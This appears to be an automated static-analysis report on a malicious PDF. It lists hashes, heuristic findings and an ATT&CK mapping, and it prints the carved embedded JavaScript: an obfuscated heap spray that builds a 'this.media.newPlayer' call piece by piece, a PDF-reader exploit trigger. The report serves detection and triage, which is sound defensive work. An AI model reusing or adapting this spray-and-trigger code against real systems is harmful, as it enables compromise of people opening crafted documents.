Malicious PDF — malware analysis report

Static analysis result for SHA-256 c449fd1d4d2aec4d…

MALICIOUS

PDF

7.2 KB Created: 2009-12-17 16:59:10 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-10
MD5: 7e44486245a301bdcf28357ec6037e6e SHA-1: cb451dc9ea287dd4df5a74de3170e2505dd7b322 SHA-256: c449fd1d4d2aec4da67083e14788c8fba5efe965529c5796da731073b2b4488c
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by PDF_JAVASCRIPT and PDF_JS heuristics. The PDF_UNESCAPE heuristic suggests that the JavaScript is obfuscated. The extracted artifact 'javascript_obj0021_000.js' further supports the presence of JavaScript. The obfuscated nature of the script implies it is likely designed to download and execute a second-stage payload or perform other malicious actions. The confidence is moderate due to the lack of specific details about the script's final action.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var fasfasasww = unescape("%u3f42%u3792");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0021_000.js pdf-javascript-stream PDF /JS object 21 at offset 0x1883 489 bytes
SHA-256: aec451ab5955e9b0facef3995869589e92566e1d6d3d4426dc0547e22320d667
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var asdsadas='';
var asdsaasasas = 0x2000;
var fasfasasww = unescape("%u3f42%u3792"); 
var xxx = 0x8000;
while(fasfasasww.length <= xxx) fasfasasww += fasfasasww;
fasfasasww = fasfasasww.substring(0, 0x8000 - asdsadas.length); 

var asfefsefasdqteww = new Array();

for(sadasdsaqqqwe = 0; sadasdsaqqqwe < asdsaasasas; sadasdsaqqqwe++)  asfefsefasdqteww[sadasdsaqqqwe] = fasfasasww + asdsadas;
aaaaa = null;

xnb='Player(aaaaa);';
adg='dia.new';
ghaa='s.me';
gha='thi';

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